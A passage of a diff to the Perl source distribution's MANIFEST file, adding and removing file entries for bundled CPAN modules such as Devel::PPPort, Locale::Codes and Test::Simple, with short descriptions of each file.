+cpan/Devel-PPPort/parts/inc/threads Devel::PPPort include +cpan/Devel-PPPort/parts/inc/uv Devel::PPPort include +cpan/Devel-PPPort/parts/inc/variables Devel::PPPort include +cpan/Devel-PPPort/parts/inc/version Devel::PPPort include +cpan/Devel-PPPort/parts/inc/warn Devel::PPPort include +cpan/Devel-PPPort/parts/ppport.fnc Devel::PPPort API listing +cpan/Devel-PPPort/parts/ppptools.pl Devel::PPPort various utilities +cpan/Devel-PPPort/parts/todo/5003070 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004020 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004030 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004040 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5004050 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5005000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5005010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5005020 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5005030 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5005040 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5006000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5006001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5006002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5007000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5007001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5007002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5007003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5008009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5009005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5010000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5010001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5011005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5012005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5013011 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5014000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5014001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5014002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5014003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5014004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5015009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5016000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5016001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5016002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5016003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5017011 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5018000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5018001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5018002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5018003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5018004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5019011 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5020000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5020001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5020002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5020003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021010 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5021011 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5022000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5022001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023000 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023001 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023002 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023003 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023004 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023005 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023006 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023007 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023008 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5023009 Devel::PPPort todo file +cpan/Devel-PPPort/parts/todo/5024000 Devel::PPPort todo file +cpan/Devel-PPPort/PPPort.xs Devel::PPPort dummy PPPort.xs +cpan/Devel-PPPort/ppport_h.PL Devel::PPPort ppport.h writer +cpan/Devel-PPPort/PPPort_pm.PL Devel::PPPort PPPort.pm writer +cpan/Devel-PPPort/PPPort_xs.PL Devel::PPPort RealPPPort.xs writer +cpan/Devel-PPPort/soak Devel::PPPort Test Harness to run under various Perls +cpan/Devel-PPPort/t/call.t Devel::PPPort test file +cpan/Devel-PPPort/t/cop.t Devel::PPPort test file +cpan/Devel-PPPort/t/exception.t Devel::PPPort test file +cpan/Devel-PPPort/t/format.t Devel::PPPort test file +cpan/Devel-PPPort/t/grok.t Devel::PPPort test file +cpan/Devel-PPPort/t/gv.t Devel::PPPort test file +cpan/Devel-PPPort/t/HvNAME.t Devel::PPPort test file +cpan/Devel-PPPort/t/limits.t Devel::PPPort test file +cpan/Devel-PPPort/t/magic.t Devel::PPPort test file +cpan/Devel-PPPort/t/memory.t Devel::PPPort test file +cpan/Devel-PPPort/t/misc.t Devel::PPPort test file +cpan/Devel-PPPort/t/mPUSH.t Devel::PPPort test file +cpan/Devel-PPPort/t/MY_CXT.t Devel::PPPort test file +cpan/Devel-PPPort/t/newCONSTSUB.t Devel::PPPort test file +cpan/Devel-PPPort/t/newRV.t Devel::PPPort test file +cpan/Devel-PPPort/t/newSV_type.t Devel::PPPort test file +cpan/Devel-PPPort/t/newSVpv.t Devel::PPPort test file +cpan/Devel-PPPort/t/podtest.t Devel::PPPort test file +cpan/Devel-PPPort/t/ppphtest.t Devel::PPPort test file +cpan/Devel-PPPort/t/pv_tools.t Devel::PPPort test file +cpan/Devel-PPPort/t/pvs.t Devel::PPPort test file +cpan/Devel-PPPort/t/shared_pv.t Devel::PPPort test file +cpan/Devel-PPPort/t/snprintf.t Devel::PPPort test file +cpan/Devel-PPPort/t/sprintf.t Devel::PPPort test file +cpan/Devel-PPPort/t/strlfuncs.t Devel::PPPort test file +cpan/Devel-PPPort/t/Sv_set.t Devel::PPPort test file +cpan/Devel-PPPort/t/sv_xpvf.t Devel::PPPort test file +cpan/Devel-PPPort/t/SvPV.t Devel::PPPort test file +cpan/Devel-PPPort/t/SvREFCNT.t Devel::PPPort test file +cpan/Devel-PPPort/t/testutil.pl Devel::PPPort test utilities +cpan/Devel-PPPort/t/threads.t Devel::PPPort test file +cpan/Devel-PPPort/t/uv.t Devel::PPPort test file +cpan/Devel-PPPort/t/variables.t Devel::PPPort test file +cpan/Devel-PPPort/t/warn.t Devel::PPPort test file +cpan/Devel-PPPort/typemap Devel::PPPort Typemap cpan/Digest/Digest.pm Digest extensions cpan/Digest/Digest/base.pm Digest extensions cpan/Digest/Digest/file.pm Digest extensions @@ -619,17 +983,11 @@ cpan/Encode/t/rt76824.t test script cpan/Encode/t/rt85489.t test script cpan/Encode/t/rt86327.t test script cpan/Encode/t/taint.t -cpan/Encode/t/truncated_utf8.t -cpan/Encode/t/undef.t cpan/Encode/t/unibench.pl benchmark script cpan/Encode/t/Unicode.t test script -cpan/Encode/t/use-Encode-Alias.t -cpan/Encode/t/utf8messages.t cpan/Encode/t/utf8ref.t test script cpan/Encode/t/utf8strict.t test script cpan/Encode/t/utf8warnings.t -cpan/Encode/t/whatwg-aliases.json -cpan/Encode/t/whatwg-aliases.t cpan/Encode/TW/Makefile.PL Encode extension cpan/Encode/TW/TW.pm Encode extension cpan/Encode/ucm/8859-1.ucm Unicode Character Map @@ -842,7 +1200,6 @@ cpan/ExtUtils-MakeMaker/t/MM_Unix.t See if ExtUtils::MM_UNIX works cpan/ExtUtils-MakeMaker/t/MM_VMS.t See if ExtUtils::MM_VMS works cpan/ExtUtils-MakeMaker/t/MM_Win32.t See if ExtUtils::MM_Win32 works cpan/ExtUtils-MakeMaker/t/oneliner.t See if MM can generate perl one-liners -cpan/ExtUtils-MakeMaker/t/os_unsupported.t cpan/ExtUtils-MakeMaker/t/parse_abstract.t See if parse_abstract works cpan/ExtUtils-MakeMaker/t/parse_version.t See if parse_version works cpan/ExtUtils-MakeMaker/t/PL_FILES.t Test PL_FILES in MakeMaker @@ -1225,12 +1582,7 @@ cpan/JSON-PP/t/113_overloaded_eq.t cpan/JSON-PP/t/114_decode_prefix.t cpan/JSON-PP/t/115_tie_ixhash.t cpan/JSON-PP/t/116_incr_parse_fixed.t -cpan/JSON-PP/t/117_numbers.t cpan/JSON-PP/t/_unicode_handling.pm -cpan/JSON-PP/t/gh_28_json_test_suite.t -cpan/JSON-PP/t/gh_29_trailing_false_value.t -cpan/JSON-PP/t/rt_116998_wrong_character_offset.t -cpan/JSON-PP/t/rt_90071_incr_parse.t cpan/JSON-PP/t/zero-mojibake.t cpan/libnet/lib/Net/Cmd.pm cpan/libnet/lib/Net/Config.pm @@ -1266,6 +1618,7 @@ cpan/libnet/t/smtp_ssl.t cpan/libnet/t/time.t libnet cpan/Locale-Codes/lib/Locale/Codes.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Codes.pod Locale::Codes documentation +cpan/Locale-Codes/lib/Locale/Codes/API.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Codes/Changes.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Codes/Constants.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Codes/Country.pm Locale::Codes @@ -1296,7 +1649,6 @@ cpan/Locale-Codes/lib/Locale/Codes/Script.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Codes/Script.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm Locale::Codes -cpan/Locale-Codes/lib/Locale/Codes/Types.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Country.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Country.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Currency.pm Locale::Codes @@ -1305,36 +1657,26 @@ cpan/Locale-Codes/lib/Locale/Language.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Language.pod Locale::Codes documentation cpan/Locale-Codes/lib/Locale/Script.pm Locale::Codes cpan/Locale-Codes/lib/Locale/Script.pod Locale::Codes documentation -cpan/Locale-Codes/t/country_func.t Locale::Codes tests +cpan/Locale-Codes/t/country.t Locale::Codes tests cpan/Locale-Codes/t/country_old.t Locale::Codes tests -cpan/Locale-Codes/t/country_oo.t Locale::Codes tests -cpan/Locale-Codes/t/currency_func.t Locale::Codes tests -cpan/Locale-Codes/t/currency_old.t Locale::Codes tests -cpan/Locale-Codes/t/currency_oo.t Locale::Codes tests -cpan/Locale-Codes/t/do_tests.pl Locale::Codes tests -cpan/Locale-Codes/t/errors.1.t Locale::Codes tests -cpan/Locale-Codes/t/errors.2.t Locale::Codes tests -cpan/Locale-Codes/t/langext_func.t Locale::Codes tests -cpan/Locale-Codes/t/langext_oo.t Locale::Codes tests -cpan/Locale-Codes/t/langfam_func.t Locale::Codes tests -cpan/Locale-Codes/t/langfam_oo.t Locale::Codes tests -cpan/Locale-Codes/t/language_func.t Locale::Codes tests +cpan/Locale-Codes/t/currency.t +cpan/Locale-Codes/t/currency_old.t +cpan/Locale-Codes/t/langext.t +cpan/Locale-Codes/t/langfam.t +cpan/Locale-Codes/t/language.t Locale::Codes tests cpan/Locale-Codes/t/language_old.t Locale::Codes tests -cpan/Locale-Codes/t/language_oo.t Locale::Codes tests -cpan/Locale-Codes/t/langvar_func.t Locale::Codes tests -cpan/Locale-Codes/t/langvar_oo.t Locale::Codes tests -cpan/Locale-Codes/t/script_func.t Locale::Codes tests -cpan/Locale-Codes/t/script_old.t Locale::Codes tests -cpan/Locale-Codes/t/script_oo.t Locale::Codes tests +cpan/Locale-Codes/t/langvar.t +cpan/Locale-Codes/t/script.t +cpan/Locale-Codes/t/script_old.t cpan/Locale-Codes/t/testfunc.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_country.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_currency.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_error.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_langext.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_langfam.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_language.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_langvar.pl Locale::Codes tests -cpan/Locale-Codes/t/vals_script.pl Locale::Codes tests +cpan/Locale-Codes/t/vals.pl +cpan/Locale-Codes/t/vals_country.pl +cpan/Locale-Codes/t/vals_currency.pl +cpan/Locale-Codes/t/vals_langext.pl +cpan/Locale-Codes/t/vals_langfam.pl +cpan/Locale-Codes/t/vals_language.pl +cpan/Locale-Codes/t/vals_langvar.pl +cpan/Locale-Codes/t/vals_script.pl cpan/Locale-Maketext-Simple/lib/Locale/Maketext/Simple.pm Locale::Simple cpan/Locale-Maketext-Simple/t/0-signature.t Locale::Simple tests cpan/Locale-Maketext-Simple/t/1-basic.t Locale::Simple tests @@ -1359,7 +1701,6 @@ cpan/Math-BigInt/t/bdstr-mbf.t Test Math::BigInt cpan/Math-BigInt/t/bdstr-mbi.t Test Math::BigInt cpan/Math-BigInt/t/bestr-mbf.t Test Math::BigInt cpan/Math-BigInt/t/bestr-mbi.t Test Math::BigInt -cpan/Math-BigInt/t/bfib-mbi.t cpan/Math-BigInt/t/big_pi_e.t test bpi() and bexp() cpan/Math-BigInt/t/bigfltpm.inc Shared tests for bigfltpm.t and sub_mbf.t cpan/Math-BigInt/t/bigfltpm.t See if BigFloat.pm works @@ -1369,7 +1710,6 @@ cpan/Math-BigInt/t/bigintpm.t See if BigInt.pm works cpan/Math-BigInt/t/bigints.t See if BigInt.pm works cpan/Math-BigInt/t/biglog.t Test the log function cpan/Math-BigInt/t/bigroot.t Test the broot function -cpan/Math-BigInt/t/blucas-mbi.t cpan/Math-BigInt/t/bnstr-mbf.t Test Math::BigInt cpan/Math-BigInt/t/bnstr-mbi.t Test Math::BigInt cpan/Math-BigInt/t/bsstr-mbf.t Test Math::BigInt @@ -1461,7 +1801,6 @@ cpan/Math-BigRat/t/bitwise.t Math::BigRat test cpan/Math-BigRat/t/hang.t Math::BigRat test for bug #34584 - hang in exp() cpan/Math-BigRat/t/Math/BigRat/Test.pm Math::BigRat test helper cpan/Math-BigRat/t/requirer.t see if require works properly -cpan/Math-BigRat/t/rt121139.t cpan/Math-BigRat/t/trap.t see if trap_nan and trap_inf work cpan/Math-Complex/lib/Math/Complex.pm A Complex package cpan/Math-Complex/lib/Math/Trig.pm A simple interface to complex trigonometry @@ -1989,10 +2328,8 @@ cpan/Scalar-List-Utils/t/00version.t Scalar::Util cpan/Scalar-List-Utils/t/any-all.t List::Util cpan/Scalar-List-Utils/t/blessed.t Scalar::Util cpan/Scalar-List-Utils/t/dualvar.t Scalar::Util -cpan/Scalar-List-Utils/t/exotic_names.t cpan/Scalar-List-Utils/t/first.t List::Util cpan/Scalar-List-Utils/t/getmagic-once.t -cpan/Scalar-List-Utils/t/head-tail.t cpan/Scalar-List-Utils/t/isvstring.t Scalar::Util cpan/Scalar-List-Utils/t/lln.t Scalar::Util cpan/Scalar-List-Utils/t/max.t List::Util @@ -2123,7 +2460,6 @@ cpan/Test-Harness/t/console.t Test::Harness test cpan/Test-Harness/t/data/catme.1 Test data for Test::Harness cpan/Test-Harness/t/data/proverc Test data for Test::Harness cpan/Test-Harness/t/data/sample.yml Test data for Test::Harness -cpan/Test-Harness/t/env_opts.t cpan/Test-Harness/t/errors.t Test::Harness test cpan/Test-Harness/t/file.t Test::Harness test cpan/Test-Harness/t/glob-to-regexp.t Test::Harness test @@ -2168,7 +2504,6 @@ cpan/Test-Harness/t/proverun.t Test::Harness test cpan/Test-Harness/t/proveversion.t Test::Harness test cpan/Test-Harness/t/regression.t Test::Harness test cpan/Test-Harness/t/results.t Test::Harness test -cpan/Test-Harness/t/rulesfile.t cpan/Test-Harness/t/sample-tests/bailout Test data for Test::Harness cpan/Test-Harness/t/sample-tests/bignum Test data for Test::Harness cpan/Test-Harness/t/sample-tests/bignum_many Test data for Test::Harness @@ -2210,7 +2545,6 @@ cpan/Test-Harness/t/sample-tests/skipall Test data for Test::Harness cpan/Test-Harness/t/sample-tests/skipall_nomsg Test data for Test::Harness cpan/Test-Harness/t/sample-tests/skipall_v13 Test data for Test::Harness cpan/Test-Harness/t/sample-tests/space_after_plan Test data for Test::Harness -cpan/Test-Harness/t/sample-tests/space_after_plan_v13 cpan/Test-Harness/t/sample-tests/stdout_stderr Test data for Test::Harness cpan/Test-Harness/t/sample-tests/strict Test data for Test::Harness cpan/Test-Harness/t/sample-tests/switches Test data for Test::Harness @@ -2244,7 +2578,6 @@ cpan/Test-Harness/t/source_tests/source.sh Test::Harness test cpan/Test-Harness/t/source_tests/source.t Test::Harness test cpan/Test-Harness/t/source_tests/source.tap Test::Harness test cpan/Test-Harness/t/source_tests/source_args.sh Test::Harness test -cpan/Test-Harness/t/source_tests/test.tap cpan/Test-Harness/t/spool.t Test::Harness test cpan/Test-Harness/t/state.t Test::Harness test cpan/Test-Harness/t/state_results.t Test::Harness test @@ -2284,30 +2617,15 @@ cpan/Test-Simple/lib/Test2/Event/Bail.pm cpan/Test-Simple/lib/Test2/Event/Diag.pm cpan/Test-Simple/lib/Test2/Event/Encoding.pm cpan/Test-Simple/lib/Test2/Event/Exception.pm -cpan/Test-Simple/lib/Test2/Event/Fail.pm cpan/Test-Simple/lib/Test2/Event/Generic.pm +cpan/Test-Simple/lib/Test2/Event/Info.pm cpan/Test-Simple/lib/Test2/Event/Note.pm cpan/Test-Simple/lib/Test2/Event/Ok.pm -cpan/Test-Simple/lib/Test2/Event/Pass.pm cpan/Test-Simple/lib/Test2/Event/Plan.pm cpan/Test-Simple/lib/Test2/Event/Skip.pm cpan/Test-Simple/lib/Test2/Event/Subtest.pm cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm -cpan/Test-Simple/lib/Test2/Event/V2.pm cpan/Test-Simple/lib/Test2/Event/Waiting.pm -cpan/Test-Simple/lib/Test2/EventFacet.pm -cpan/Test-Simple/lib/Test2/EventFacet/About.pm -cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm -cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm -cpan/Test-Simple/lib/Test2/EventFacet/Control.pm -cpan/Test-Simple/lib/Test2/EventFacet/Error.pm -cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm -cpan/Test-Simple/lib/Test2/EventFacet/Info.pm -cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm -cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm -cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm -cpan/Test-Simple/lib/Test2/EventFacet/Render.pm -cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm cpan/Test-Simple/lib/Test2/Formatter.pm cpan/Test-Simple/lib/Test2/Formatter/TAP.pm cpan/Test-Simple/lib/Test2/Hub.pm @@ -2321,10 +2639,8 @@ cpan/Test-Simple/lib/Test2/Tools/Tiny.pm cpan/Test-Simple/lib/Test2/Transition.pod cpan/Test-Simple/lib/Test2/Util.pm cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm -cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm cpan/Test-Simple/lib/Test2/Util/HashBase.pm cpan/Test-Simple/lib/Test2/Util/Trace.pm -cpan/Test-Simple/t/HashBase.t cpan/Test-Simple/t/Legacy/00test_harness_check.t cpan/Test-Simple/t/Legacy/01-basic.t cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t @@ -2392,7 +2708,6 @@ cpan/Test-Simple/t/Legacy/is_deeply_with_threads.t cpan/Test-Simple/t/Legacy/missing.t cpan/Test-Simple/t/Legacy/More.t cpan/Test-Simple/t/Legacy/new_ok.t -cpan/Test-Simple/t/Legacy/no_log_results.t cpan/Test-Simple/t/Legacy/no_plan.t cpan/Test-Simple/t/Legacy/no_tests.t cpan/Test-Simple/t/Legacy/note.t @@ -2408,7 +2723,6 @@ cpan/Test-Simple/t/Legacy/Regression/637.t cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t -cpan/Test-Simple/t/Legacy/Regression/789-read-only.t cpan/Test-Simple/t/Legacy/require_ok.t cpan/Test-Simple/t/Legacy/run_test.t cpan/Test-Simple/t/Legacy/simple.t @@ -2419,7 +2733,6 @@ cpan/Test-Simple/t/Legacy/strays.t cpan/Test-Simple/t/Legacy/subtest/args.t cpan/Test-Simple/t/Legacy/subtest/bail_out.t cpan/Test-Simple/t/Legacy/subtest/basic.t -cpan/Test-Simple/t/Legacy/subtest/callback.t cpan/Test-Simple/t/Legacy/subtest/die.t cpan/Test-Simple/t/Legacy/subtest/do.t cpan/Test-Simple/t/Legacy/subtest/events.t @@ -2454,9 +2767,7 @@ cpan/Test-Simple/t/Legacy/useing.t cpan/Test-Simple/t/Legacy/utf8.t cpan/Test-Simple/t/Legacy/versions.t cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t -cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t -cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t cpan/Test-Simple/t/lib/Dev/Null.pm cpan/Test-Simple/t/lib/Dummy.pm cpan/Test-Simple/t/lib/MyOverload.pm @@ -2490,13 +2801,7 @@ cpan/Test-Simple/t/regression/684-nested_todo_diag.t cpan/Test-Simple/t/regression/694_note_diag_return_values.t cpan/Test-Simple/t/regression/696-intercept_skip_all.t cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t -cpan/Test-Simple/t/regression/757-reset_in_subtest.t -cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t -cpan/Test-Simple/t/regression/builder_does_not_init.t -cpan/Test-Simple/t/regression/errors_facet.t -cpan/Test-Simple/t/regression/inherit_trace.t cpan/Test-Simple/t/regression/no_name_in_subtest.t -cpan/Test-Simple/t/regression/todo_and_facets.t cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t @@ -2504,28 +2809,18 @@ cpan/Test-Simple/t/Test2/acceptance/try_it_plan.t cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t -cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t -cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t -cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t -cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t cpan/Test-Simple/t/Test2/behavior/err_var.t cpan/Test-Simple/t/Test2/behavior/Formatter.t cpan/Test-Simple/t/Test2/behavior/init_croak.t -cpan/Test-Simple/t/Test2/behavior/intercept.t -cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t cpan/Test-Simple/t/Test2/behavior/no_load_api.t cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t cpan/Test-Simple/t/Test2/behavior/special_names.t -cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t -cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t cpan/Test-Simple/t/Test2/behavior/Subtest_events.t cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t cpan/Test-Simple/t/Test2/behavior/Taint.t 